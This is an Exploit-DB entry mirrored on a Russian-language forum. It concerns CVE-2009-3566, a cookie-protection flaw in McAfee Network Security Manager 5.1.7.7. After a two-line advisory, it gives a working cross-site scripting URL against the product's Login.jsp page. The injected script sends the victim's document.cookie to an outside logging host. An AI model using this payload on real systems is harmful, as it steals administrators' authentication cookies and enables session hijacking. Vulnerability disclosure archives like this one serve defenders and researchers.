- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 33347
- Проверка EDB
-
- Пройдено
- Автор
- DANIEL KING
- Тип уязвимости
- WEBAPPS
- Платформа
- JSP
- CVE
- cve-2009-3566
- Дата публикации
- 2009-11-06
Код:
source: https://www.securityfocus.com/bid/37004/info
McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism.
A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.
This issue affects McAfee Network Security Manager 5.1.7.7; other versions may also be affected.
https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57
- Источник
- www.exploit-db.com